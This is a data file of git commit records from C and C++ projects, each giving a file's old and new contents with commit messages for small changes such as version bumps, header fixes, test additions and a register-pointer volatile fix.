{"commit":"8e84757da4fb5ba9aa28b384d5c9df6e4faa16ac","old_file":"src\/magicmatcher_p.h","new_file":"src\/magicmatcher_p.h","old_contents":"#ifndef MAGICMATCHER_P_H\n#define MAGICMATCHER_P_H\n\n#include \"magicmatcher.h\"\n#include \"qmimetype.h\"\n\n#include <QtCore\/QFileInfo>\n\nQT_BEGIN_NAMESPACE\n\nclass FileMatchContext\n{\n    Q_DISABLE_COPY(FileMatchContext)\n\npublic:\n    \/\/ Max data to be read from a file\n    enum { MaxData = 2500 };\n\n    explicit FileMatchContext(const QFileInfo &fi);\n\n    inline QString fileName() const { return m_fileName; }\n    \/\/ Return (cached) first MaxData bytes of file\n    QByteArray data();\n\nprivate:\n    const QFileInfo m_fileInfo;\n    const QString m_fileName;\n    enum State {\n        \/\/ File cannot be read\/does not exist\n        NoDataAvailable,\n        \/\/ Not read yet\n        DataNotRead,\n        \/\/ Available\n        DataRead\n    } m_state;\n    QByteArray m_data;\n};\n\nQT_END_NAMESPACE\n\n#endif \/\/ MAGICMATCHER_P_H\n","new_contents":"#ifndef MAGICMATCHER_P_H\n#define MAGICMATCHER_P_H\n\n#include \"magicmatcher.h\"\n#include \"qmimetype.h\"\n\n#include <QtCore\/QFileInfo>\n\nQT_BEGIN_NAMESPACE\n\nclass FileMatchContext\n{\n    Q_DISABLE_COPY(FileMatchContext)\n\npublic:\n    \/\/ Max data to be read from a file\n\n    \/\/ TODO: hardcoded values are no good, this should be done on demand\n    \/\/ in order to respect the spec. Use QIODevice-based code from KMimeMagicRule.\n    enum { MaxData = 2500 };\n\n    explicit FileMatchContext(const QFileInfo &fi);\n\n    inline QString fileName() const { return m_fileName; }\n    \/\/ Return (cached) first MaxData bytes of file\n    QByteArray data();\n\nprivate:\n    const QFileInfo m_fileInfo;\n    const QString m_fileName;\n    enum State {\n        \/\/ File cannot be read\/does not exist\n        NoDataAvailable,\n        \/\/ Not read yet\n        DataNotRead,\n        \/\/ Available\n        DataRead\n    } m_state;\n    QByteArray m_data;\n};\n\nQT_END_NAMESPACE\n\n#endif \/\/ MAGICMATCHER_P_H\n","subject":"Add TODO. But first we need to parse mime.cache","message":"Add TODO. But first we need to parse mime.cache\n","lang":"C","license":"lgpl-2.1","repos":"qtproject\/playground-mimetypes,d1vanov\/qt4-mimetypes,d1vanov\/qt4-mimetypes,d1vanov\/qt4-mimetypes,qtproject\/playground-mimetypes,qtproject\/playground-mimetypes,qtproject\/playground-mimetypes,d1vanov\/qt4-mimetypes,d1vanov\/qt4-mimetypes,d1vanov\/qt4-mimetypes,qtproject\/playground-mimetypes,qtproject\/playground-mimetypes,qtproject\/playground-mimetypes,d1vanov\/qt4-mimetypes,d1vanov\/qt4-mimetypes,qtproject\/playground-mimetypes,qtproject\/playground-mimetypes,d1vanov\/qt4-mimetypes"}
{"commit":"cc0fdd497c22d442297ec0ac33578272acb7a462","old_file":"include\/avarix\/register.h","new_file":"include\/avarix\/register.h","old_contents":"\/**\n * @file\n * @brief Tools to work with registers\n *\/\n\/\/@{\n#ifndef AVARIX_REGISTER_H__\n#define AVARIX_REGISTER_H__\n\n#include <avr\/io.h>\n\n\n\/** @brief Set a register with I\/O CCP disabled\n *\n * Interrupts are not disabled during the process.\n *\n * @note This can be achieved in less cycles for some I\/O registers but this way\n * is generic.\n *\/\ninline void ccp_io_write(volatile uint8_t* addr, uint8_t value)\n{\n  asm volatile (\n      \"out  %0, %1\\n\\t\"\n      \"st   Z, %3\\n\\t\"\n      :\n      : \"i\" (&CCP)\n      , \"r\" (CCP_IOREG_gc)\n      , \"z\" ((uint16_t)addr)\n      , \"r\" (value)\n      );\n}\n\n\n#endif\n","new_contents":"\/**\n * @file\n * @brief Tools to work with registers\n *\/\n\/\/@{\n#ifndef AVARIX_REGISTER_H__\n#define AVARIX_REGISTER_H__\n\n#include <avr\/io.h>\n\n\n\/** @brief Set a register with I\/O CCP disabled\n *\n * Interrupts are not disabled during the process.\n *\n * @note This can be achieved in less cycles for some I\/O registers but this way\n * is generic.\n *\/\nstatic inline void ccp_io_write(volatile uint8_t* addr, uint8_t value)\n{\n  asm volatile (\n      \"out  %0, %1\\n\\t\"\n      \"st   Z, %3\\n\\t\"\n      :\n      : \"i\" (&CCP)\n      , \"r\" (CCP_IOREG_gc)\n      , \"z\" ((uint16_t)addr)\n      , \"r\" (value)\n      );\n}\n\n\n#endif\n","subject":"Fix ccp_io_write() not being static as it should","message":"Fix ccp_io_write() not being static as it should\n","lang":"C","license":"mit","repos":"robotter\/avarix,robotter\/avarix,robotter\/avarix"}
{"commit":"fc7577a0dfaefd763430cd42476b5d09ce1ef394","old_file":"msgpack\/msgpack.h","new_file":"msgpack\/msgpack.h","old_contents":"\/\/\n\/\/  msgpack.h\n\/\/  msgpack\n\/\/\n\/\/  Created by Ricardo Pereira on 13\/10\/2017.\n\/\/\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for msgpack.\nFOUNDATION_EXPORT double msgpackVersionNumber;\n\n\/\/! Project version string for msgpack.\nFOUNDATION_EXPORT const unsigned char msgpackVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <msgpack\/PublicHeader.h>\n\n#import \"MessagePack.h\"\n","new_contents":"\/\/\n\/\/  msgpack.h\n\/\/  msgpack\n\/\/\n\/\/  Created by Ricardo Pereira on 13\/10\/2017.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for msgpack.\nFOUNDATION_EXPORT double msgpackVersionNumber;\n\n\/\/! Project version string for msgpack.\nFOUNDATION_EXPORT const unsigned char msgpackVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <msgpack\/PublicHeader.h>\n\n#import \"MessagePack.h\"\n","subject":"Remove UIKit usage by replacing it with Foundation","message":"Remove UIKit usage by replacing it with Foundation\n","lang":"C","license":"apache-2.0","repos":"rvi\/msgpack-objective-C,rvi\/msgpack-objective-C,rvi\/msgpack-objective-C"}
{"commit":"7635604e1ee2f7537c01a23a00b7d69d43c6f9df","old_file":"test\/test-env.c","new_file":"test\/test-env.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <assert.h>\n#include <string.h>\n#include <stdlib.h>\n\n#include <env.h>\n\nint main(int argc, char** argv) {\n  char** env = malloc(2 * sizeof(char*));\n  char* result;\n\n  env[0] = \"NAME=value\";\n  env[1] = NULL;\n\n  result = env_get(env, \"NAME\");\n  printf(\"NAME=%s\\n\", result);\n  assert(strcmp(result, \"value\") == 0);\n\n  return 0;\n}\n","subject":"Add a test for `env_get`","message":"[test] Add a test for `env_get`\n","lang":"C","license":"mit","repos":"mmalecki\/env,mmalecki\/env"}
{"commit":"6611ff0042232589522e2b0f8bfe0f30b67e6d5e","old_file":"IRCCloud\/config.h","new_file":"IRCCloud\/config.h","old_contents":"\/\/\n\/\/  config.h\n\/\/  IRCCloud\n\/\/\n\/\/  Created by Sam Steele on 7\/13\/13.\n\/\/  Copyright (c) 2013 IRCCloud, Ltd. All rights reserved.\n\/\/\n\n#ifndef IRCCloud_config_h\n#define IRCCloud_config_h\n\n#define HOCKEYAPP_TOKEN nil\n#define CRASHLYTICS_TOKEN nil\n#define CRASHLYTICS_SECRET nil\n\n#endif\n","new_contents":"\/\/\n\/\/  config.h\n\/\/  IRCCloud\n\/\/\n\/\/  Created by Sam Steele on 7\/13\/13.\n\/\/  Copyright (c) 2013 IRCCloud, Ltd. All rights reserved.\n\/\/\n\n#ifndef IRCCloud_config_h\n#define IRCCloud_config_h\n\n#endif\n","subject":"Remove nil tokens from conf","message":"Remove nil tokens from conf\n","lang":"C","license":"apache-2.0","repos":"irccloud\/ios,irccloud\/ios,irccloud\/ios,iOSTestApps\/irccloud-ios,DreamHill\/ios,irccloud\/ios,irccloud\/ios"}
{"commit":"9ee259d9a29d83d79d912d1716b4044c63e90343","old_file":"tests\/unit\/glkunit.h","new_file":"tests\/unit\/glkunit.h","old_contents":"#ifndef GLKUNIT_H\n#define GLKUNIT_H\n\n#include <stdio.h>\n\n#define _BEGIN do {\n#define _END } while(0);\n\n\/* msg must be a string literal *\/\n#define _ASSERT(expr, msg, ...) _BEGIN \\\n    if( !(expr) ) { \\\n        fprintf(stderr, \"Assertion failed: \" msg \"\\n\", __VA_ARGS__); \\\n        return 0; \\\n    } _END\n\n#define SUCCEED _BEGIN return 1; _END\n#define ASSERT(expr) _ASSERT(expr, \"%s\", #expr)\n#define ASSERT_EQUAL(expected, actual) _ASSERT((expected) == (actual), \"%s == %s\", #expected, #actual);\n\nstruct TestDescription {\n    char *name;\n    int (*testfunc)(void);\n};\n\n#endif \/* GLKUNIT_H *\/\n","new_contents":"#ifndef GLKUNIT_H\n#define GLKUNIT_H\n\n#include <stdio.h>\n\n#define _BEGIN do {\n#define _END } while(0);\n\n\/* msg must be a string literal *\/\n#define _ASSERT(expr, msg, ...) _BEGIN \\\n    if( !(expr) ) { \\\n        fprintf(stderr, \"Assertion failed: \" msg \"\\n\", __VA_ARGS__); \\\n        return 0; \\\n    } _END\n\n#define SUCCEED _BEGIN return 1; _END\n#define ASSERT(expr) _ASSERT(expr, \"%s\", #expr)\n\/* This macro is meant for int-like things that can print with %d *\/\n#define ASSERT_EQUAL(expected, actual) _ASSERT((expected) == (actual), \\\n    \"%s == %s (expected %d, was %d)\", \\\n    #actual, #expected, expected, actual);\n\nstruct TestDescription {\n    char *name;\n    int (*testfunc)(void);\n};\n\n#endif \/* GLKUNIT_H *\/\n","subject":"Print more informative assert message","message":"Print more informative assert message\n\nASSERT_EQUAL() is for int-like types that will print with %d.\n","lang":"C","license":"bsd-3-clause","repos":"wmvanvliet\/Chimara,wmvanvliet\/Chimara,wmvanvliet\/Chimara,wmvanvliet\/Chimara,wmvanvliet\/Chimara"}
{"commit":"1fd63e3c050a4f111b3d16e57ff1486b8b4cd1d2","old_file":"test\/small2\/union6.c","new_file":"test\/small2\/union6.c","old_contents":"#include \"..\/small1\/testharness.h\"\n\n\/\/ NUMERRORS 1\n\nunion {\n  struct {\n    int *a, *b;\n  } f1;\n  int f2;\n} __TAGGED u;\n\nint i;\n\nint main() {\n  \n  u.f2 = 5; \/\/ now u.f1.a = 5\n  u.f1.b = &i; \/\/ now the tag says that u.f1 is active\n\n  i = * u.f1.a; \/\/ERROR(1): Null-pointer\n}\n","new_contents":"#include \"..\/small1\/testharness.h\"\n\n\/\/ NUMERRORS 1\n\nunion {\n  struct {\n    int *a, *b;\n  } f1;\n  int f2;\n} __TAGGED u;\n\nint i;\n\nint main() {\n  \n  u.f2 = 5; \/\/ now u.f1.a = 5\n  u.f1.b = &i; \/\/ now the tag says that u.f1 is active\n\n  i = * u.f1.a; \/\/ERROR(1): Null pointer\n}\n","subject":"Fix a soundness bug in tagged unions that have fields larger than one word. This fix uses memset to clear such fields, although we could probably optimize this if needed.","message":"Fix a soundness bug in tagged unions that have fields larger than one word.  This fix uses memset to clear such fields, although we could probably optimize this if needed.\n","lang":"C","license":"bsd-3-clause","repos":"samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c"}
{"commit":"2ceeda7df57fe3b8b438c509a33585efbcbd6f80","old_file":"virvo\/virvo\/private\/vvmessages.h","new_file":"virvo\/virvo\/private\/vvmessages.h","old_contents":"","new_contents":"\/\/ Virvo - Virtual Reality Volume Rendering\n\/\/ Copyright (C) 1999-2003 University of Stuttgart, 2004-2005 Brown University\n\/\/ Contact: Jurgen P. Schulze, jschulze@ucsd.edu\n\/\/\n\/\/ This file is part of Virvo.\n\/\/\n\/\/ Virvo is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library (see license.txt); if not, write to the\n\/\/ Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n#ifndef VV_PRIVATE_MESSAGES_H\n#define VV_PRIVATE_MESSAGES_H\n\n#include \"..\/vvparam.h\"\n#include \"..\/vvrenderer.h\"\n#include \"..\/vvvecmath.h\"\n\n#include <istream>\n#include <ostream>\n\nnamespace virvo\n{\nnamespace messages\n{\n\nstruct CameraMatrix\n{\n    \/\/ The model-view matrix\n    vvMatrix view;\n    \/\/ The projection matrix\n    vvMatrix proj;\n\n    CameraMatrix()\n    {\n    }\n\n    CameraMatrix(vvMatrix const& view, vvMatrix const& proj)\n        : view(view)\n        , proj(proj)\n    {\n    }\n\n    template<class A>\n    void serialize(A& a, unsigned \/*version*\/)\n    {\n        a & view;\n        a & proj;\n    }\n};\n\nstruct Param\n{\n    \/\/ The name of the parameter\n    vvRenderState::ParameterType name;\n    \/\/ The actual parameter\n    vvParam value;\n\n    Param()\n        : name(static_cast<vvRenderState::ParameterType>(0))\n        , value()\n    {\n    }\n\n    Param(vvRenderState::ParameterType name, vvParam const& value)\n        : name(name)\n        , value(value)\n    {\n    }\n\n    template<class A>\n    void serialize(A& a, unsigned \/*version*\/)\n    {\n        int t = 0;\n\n        a & t; \/*name*\/\n        a & value;\n\n        name = static_cast<vvRenderState::ParameterType>(t);\n    }\n};\n\nstruct WindowResize\n{\n    int w;\n    int h;\n\n    WindowResize()\n    {\n    }\n\n    WindowResize(int w, int h)\n        : w(w)\n        , h(h)\n    {\n    }\n\n    template<class A>\n    void serialize(A& a, unsigned \/*version*\/)\n    {\n        a & w;\n        a & h;\n    }\n};\n\n} \/\/ namespace messages\n} \/\/ namespace virvo\n\n#endif\n","subject":"Add a utility header for virvo::Message.","message":"Add a utility header for virvo::Message.\n\nDefines some structs wrapping multiple objects which make working\nwith virvo::Message easier.\n\nTODO: Rewrite virvo::Message.\n","lang":"C","license":"lgpl-2.1","repos":"deskvox\/deskvox,deskvox\/deskvox,deskvox\/deskvox,deskvox\/deskvox,deskvox\/deskvox"}
{"commit":"661a72f697ab5a4a5b3e78194181ae90391b97ad","old_file":"pkg\/stis\/calstis\/include\/stisversion.h","new_file":"pkg\/stis\/calstis\/include\/stisversion.h","old_contents":"\/* This string is written to the output primary header as CAL_VER. *\/\n\n# define STIS_CAL_VER \"2.28 (09-March-2010) cfitsio test\"\n","new_contents":"\/* This string is written to the output primary header as CAL_VER. *\/\n\n# define STIS_CAL_VER \"2.29 (24-March-2010) cfitsio test\"\n","subject":"Change the version number and date.","message":"Change the version number and date.\n\n\ngit-svn-id: cc674101e2b794ddc2100b657215d55256e3fd48@8968 fe389314-cf27-0410-b35b-8c050e845b92\n","lang":"C","license":"bsd-3-clause","repos":"jhunkeler\/hstcal,jhunkeler\/hstcal,jhunkeler\/hstcal"}
{"commit":"a52a248ec8d38168dd15989ec6daacad1d43bdbb","old_file":"test\/Driver\/amdgpu-toolchain.c","new_file":"test\/Driver\/amdgpu-toolchain.c","old_contents":"\/\/ RUN: %clang -### -target amdgcn--amdhsa -x assembler -mcpu=kaveri %s 2>&1 | FileCheck -check-prefix=AS_LINK %s\n\/\/ AS_LINK-LABEL: clang\n\/\/ AS_LINK: \"-cc1as\"\n\/\/ AS_LINK-LABEL: lld\n\/\/ AS_LINK: \"-flavor\" \"gnu\" \"-target\" \"amdgcn--amdhsa\"\n\/\/ REQUIRES: clang-driver\n","new_contents":"\/\/ RUN: %clang -### -target amdgcn--amdhsa -x assembler -mcpu=kaveri %s 2>&1 | FileCheck -check-prefix=AS_LINK %s\n\/\/ AS_LINK: \/clang\n\/\/ AS_LINK-SAME: \"-cc1as\"\n\/\/ AS_LINK: \/lld\n\/\/ AS_LINK-SAME: \"-flavor\" \"gnu\" \"-target\" \"amdgcn--amdhsa\"\n","subject":"Fix test to pass when the directory name has lld in it.","message":"Fix test to pass when the directory name has lld in it.\n\nCHECK-LABEL assumes that there is only one occurrence of the match.\n\nThe output looks like:\n\nclang version 3.8.0 (trunk 247999)\n....\n\/path\/to\/build\/dir\/bin\/clang-3.8 ....\n\nIf the path contains lld, the second CHECK-LABEL matches it and we fail since\nthere is no -cc1as between clang and lld.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@248029 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"bc4ecce4a99d230fe3e17861ebe54b3622e61335","old_file":"include\/llvm\/Transforms\/Instrumentation\/TraceValues.h","new_file":"include\/llvm\/Transforms\/Instrumentation\/TraceValues.h","old_contents":"","new_contents":"\/\/ $Id$ -*-c++-*-\n\/\/***************************************************************************\n\/\/ File:\n\/\/\tTraceValues.h\n\/\/ \n\/\/ Purpose:\n\/\/      Support for inserting LLVM code to print values at basic block\n\/\/      and method exits.  Also exports functions to create a call\n\/\/      \"printf\" instruction with one of the signatures listed below.\n\/\/ \n\/\/ History:\n\/\/\t10\/11\/01\t -  Vikram Adve  -  Created\n\/\/**************************************************************************\/\n\n#ifndef LLVM_TRANSFORMS_INSTRUMENTATION_TRACEVALUES_H\n#define LLVM_TRANSFORMS_INSTRUMENTATION_TRACEVALUES_H\n\nclass Module;\nclass Method;\nclass BasicBlock;\nclass Instruction;\nclass Value;\nclass Type;\n\n\n\/\/************************** External Functions ****************************\/\n\n\n\/\/--------------------------------------------------------------------------\n\/\/ Function GetPrintMethodForType\n\/\/ \n\/\/ Creates an external declaration for \"printf\".\n\/\/ The signatures supported are:\n\/\/   int printf(sbyte*,  sbyte*,  sbyte*,  sbyte*,  int      intValue)\n\/\/   int printf(sbyte*,  sbyte*,  sbyte*,  sbyte*,  unsigned uintValue)\n\/\/   int printf(sbyte*,  sbyte*,  sbyte*,  sbyte*,  float    floatValue)\n\/\/   int printf(sbyte*,  sbyte*,  sbyte*,  sbyte*,  double   doubleValue)\n\/\/   int printf(sbyte*,  sbyte*,  sbyte*,  sbyte*,  char*    stringValue)\n\/\/   int printf(sbyte*,  sbyte*,  sbyte*,  sbyte*,  void*    ptrValue)\n\/\/ \n\/\/ The invocation should be:\n\/\/       call \"printf\"(fmt, bbName, valueName, valueType, value).\n\/\/--------------------------------------------------------------------------\n\nconst Method*\tGetPrintMethodForType   (Module* module,\n                                         Type* vtype);\n\n\n\/\/--------------------------------------------------------------------------\n\/\/ Function CreatePrintInstr\n\/\/ \n\/\/ Creates an invocation of printf for the value `val' at the exit of the\n\/\/ basic block `bb'.  isMethodExit specifies if this is a method exit, \n\/\/--------------------------------------------------------------------------\n\nInstruction*\tCreatePrintInstr        (Value* val,\n                                         const BasicBlock* bb,\n                                         Module* module,\n                                         unsigned int indent,\n                                         bool isMethodExit);\n\n\/\/--------------------------------------------------------------------------\n\/\/ Function InsertCodeToTraceValues\n\/\/ \n\/\/ Inserts tracing code for all live values at basic block and\/or method exits\n\/\/ as specified by `traceBasicBlockExits' and `traceMethodExits'.\n\/\/--------------------------------------------------------------------------\n\nvoid            InsertCodeToTraceValues (Method* method,\n                                         bool traceBasicBlockExits,\n                                         bool traceMethodExits);\n\n\/\/**************************************************************************\/\n\n#endif LLVM_TRANSFORMS_INSTRUMENTATION_TRACEVALUES_H\n","subject":"Insert code to trace values at basic block and method exits.","message":"Insert code to trace values at basic block and method exits.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@801 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm"}
{"commit":"acf0dedb0e15ebb0cc98df0e00a1e7616dc16f4e","old_file":"src\/xdictlib.h","new_file":"src\/xdictlib.h","old_contents":"\n#ifndef H_XDICTLIB\n #define H_XDICTLIB\n #ifdef __cplusplus\n   extern \"C\" {\n #endif\n\n#include <stdlib.h>\n\n\/*\n   The |xdict| interface.\n*\/\n\n#define XDICT_MAXLENGTH 10  \/* 0..9 characters *\/\n\nstruct xdict {\n    struct word_entry *words[XDICT_MAXLENGTH];\n    size_t cap[XDICT_MAXLENGTH];\n    size_t len[XDICT_MAXLENGTH];\n    int sorted;\n};\n\nstruct word_entry {\n    char *word;\n};\n\n\nvoid xdict_init(struct xdict *d);\nint xdict_load(struct xdict *d, const char *fname);\n  int xdict_addword(struct xdict *d, const char *word, int len);\n  int xdict_remword(struct xdict *d, const char *word, int len);\n  int xdict_remmatch(struct xdict *d, const char *pat, int len);\nvoid xdict_sort(struct xdict *d);\nint xdict_save(struct xdict *d, const char *fname);\nvoid xdict_free(struct xdict *d);\nint xdict_find(struct xdict *d, const char *pattern,\n               int (*f)(const char *, void *), void *info);\n  int xdict_match_simple(const char *w, const char *p);\n  int xdict_match(const char *w, const char *p);\n\n #ifdef __cplusplus\n   }\n #endif\n#endif\n","new_contents":"\n#ifndef H_XDICTLIB\n #define H_XDICTLIB\n #ifdef __cplusplus\n   extern \"C\" {\n #endif\n\n#include <stdlib.h>\n\n\/*\n   The |xdict| interface.\n*\/\n\n#define XDICT_MAXLENGTH 16  \/* 0..15 characters *\/\n\nstruct xdict {\n    struct word_entry *words[XDICT_MAXLENGTH];\n    size_t cap[XDICT_MAXLENGTH];\n    size_t len[XDICT_MAXLENGTH];\n    int sorted;\n};\n\nstruct word_entry {\n    char *word;\n};\n\n\nvoid xdict_init(struct xdict *d);\nint xdict_load(struct xdict *d, const char *fname);\n  int xdict_addword(struct xdict *d, const char *word, int len);\n  int xdict_remword(struct xdict *d, const char *word, int len);\n  int xdict_remmatch(struct xdict *d, const char *pat, int len);\nvoid xdict_sort(struct xdict *d);\nint xdict_save(struct xdict *d, const char *fname);\nvoid xdict_free(struct xdict *d);\nint xdict_find(struct xdict *d, const char *pattern,\n               int (*f)(const char *, void *), void *info);\n  int xdict_match_simple(const char *w, const char *p);\n  int xdict_match(const char *w, const char *p);\n\n #ifdef __cplusplus\n   }\n #endif\n#endif\n","subject":"Increase XDICT_MAXLENGTH from 9+1 to 15+1.","message":"Increase XDICT_MAXLENGTH from 9+1 to 15+1.\n","lang":"C","license":"mit","repos":"Quuxplusone\/xword"}
{"commit":"8e335e624ff0d5fd175459f3fc7daa6fc1b8b1f5","old_file":"examples\/traverse.c","new_file":"examples\/traverse.c","old_contents":"","new_contents":"#include <stdio.h>\n\ntypedef struct {\n    int **y;\n    int *x;\n} _inner;\n\ntypedef _inner inner;\n\ntypedef struct {\n    int *g;\n    inner in[3];\n} outer;\n\nvoid traverse(outer *o) {\n    static int sss = 5;\n\n    inner *in = &(o->in[0]);\n\n    for (size_t i = 0; i < 3; i++) {\n        in->x = &sss;\n        in++;\n        sss += 3;\n    }\n}\n\nint main(int argc, char *argv[])\n{\n    outer o2;\n    traverse(&o2);\n\n    return 0;\n}\n","subject":"Add inner struct iteration example","message":"Add inner struct iteration example\n","lang":"C","license":"mit","repos":"plast-lab\/llvm-datalog,plast-lab\/cclyzer"}
{"commit":"2b803a4d6e2f425633eabf2a364ffd9972a1b3d0","old_file":"src\/Divider.h","new_file":"src\/Divider.h","old_contents":"#ifndef DIVIDER_H\n#define DIVIDER_H\n\nclass Divider {\npublic:\n    Divider(int interval = 1) {\n\tsetInterval(interval);\n    }\n    void setInterval(int interval) {\n\tthis->interval = interval;\n\tclockCounter = interval - 1;\n    }\n    void tick() {\n\tclockCounter++;\n\tif (clockCounter == interval) {\n\t    clockCounter = 0;\n\t}\n    }\n    bool hasClocked() {\n\treturn clockCounter == 0;\n    }\n\nprivate:\n    int interval;\n    int clockCounter;\n};\n\n#endif\n","new_contents":"#ifndef DIVIDER_H\n#define DIVIDER_H\n\nclass Divider {\npublic:\n    Divider(int interval = 1) {\n\tsetInterval(interval);\n\treset();\n    }\n    void setInterval(int interval) {\n\tif (interval < 1) {\n\t    resetValue = 0;\n\t}\n\telse {\n\t    resetValue = interval - 1;\n\t}\n    }\n    void reset() {\n\tclockCounter = resetValue;\n    }\n    void tick() {\n\tif (clockCounter == 0) {\n\t    clockCounter = resetValue;\n\t}\n\telse {\n\t    --clockCounter;\n\t}\n    }\n    bool hasClocked() {\n\treturn clockCounter == resetValue;\n    }\n\nprivate:\n    int resetValue;\n    int clockCounter;\n};\n\n#endif\n","subject":"Rewrite divider to change interval without resetting it","message":"Rewrite divider to change interval without resetting it\n","lang":"C","license":"mit","repos":"scottjcrouch\/ScootNES,scottjcrouch\/ScootNES,scottjcrouch\/ScootNES"}
{"commit":"02768e952fd7f1789b146ebbfdc6ecdd54e3f72a","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.48f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.49f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","subject":"Increment version number to 1.49","message":"Increment version number to 1.49\n","lang":"C","license":"apache-2.0","repos":"google\/UIforETW,mwinterb\/UIforETW,mwinterb\/UIforETW,ariccio\/UIforETW,mwinterb\/UIforETW,google\/UIforETW,ariccio\/UIforETW,ariccio\/UIforETW,google\/UIforETW,google\/UIforETW,ariccio\/UIforETW"}
{"commit":"619091d3ae52943e7dfd093073eb4027146e093f","old_file":"platform\/VersatilePB\/srcs\/poweroff.c","new_file":"platform\/VersatilePB\/srcs\/poweroff.c","old_contents":"\/*\n * copyright 2015 wink saville\n *\n * licensed under the apache license, version 2.0 (the \"license\");\n * you may not use this file except in compliance with the license.\n * you may obtain a copy of the license at\n *\n *     http:\/\/www.apache.org\/licenses\/license-2.0\n *\n * unless required by applicable law or agreed to in writing, software\n * distributed under the license is distributed on an \"as is\" basis,\n * without warranties or conditions of any kind, either express or implied.\n * see the license for the specific language governing permissions and\n * limitations under the license.\n *\/\n\n#include \"poweroff.h\"\n#include \"inttypes.h\"\n\nvoid poweroff(void) {\n  uint32_t* pUnlockResetReg = (uint32_t*)0x10000020;\n  uint32_t* pResetReg = (uint32_t*)0x10000040;\n  \n  \/\/ If qemu is executed with -no-reboot option then\n  \/\/ resetting the board will cause qemu to exit\n  \/\/ and it won't be necessary to ctrl-a, x to exit.\n  \/\/ See http:\/\/lists.nongnu.org\/archive\/html\/qemu-discuss\/2015-10\/msg00057.html\n\n  \/\/ For arm926ej-s you unlock the reset register\n  \/\/ then reset the board, I'm resetting to level 6\n\n  *pUnlockResetReg = 0xA05F;\n  *pResetReg = 0x106;\n}\n","new_contents":"\/*\n * copyright 2015 wink saville\n *\n * licensed under the apache license, version 2.0 (the \"license\");\n * you may not use this file except in compliance with the license.\n * you may obtain a copy of the license at\n *\n *     http:\/\/www.apache.org\/licenses\/license-2.0\n *\n * unless required by applicable law or agreed to in writing, software\n * distributed under the license is distributed on an \"as is\" basis,\n * without warranties or conditions of any kind, either express or implied.\n * see the license for the specific language governing permissions and\n * limitations under the license.\n *\/\n\n#include \"poweroff.h\"\n#include \"inttypes.h\"\n\nvoid poweroff(void) {\n  volatile uint32_t* pUnlockResetReg = (uint32_t*)0x10000020;\n  volatile uint32_t* pResetReg = (uint32_t*)0x10000040;\n  \n  \/\/ If qemu is executed with -no-reboot option then\n  \/\/ resetting the board will cause qemu to exit\n  \/\/ and it won't be necessary to ctrl-a, x to exit.\n  \/\/ See http:\/\/lists.nongnu.org\/archive\/html\/qemu-discuss\/2015-10\/msg00057.html\n\n  \/\/ For arm926ej-s you unlock the reset register\n  \/\/ then reset the board, I'm resetting to level 6\n\n  *pUnlockResetReg = 0xA05F;\n  *pResetReg = 0x106;\n}\n","subject":"Make the registers address point to volatile 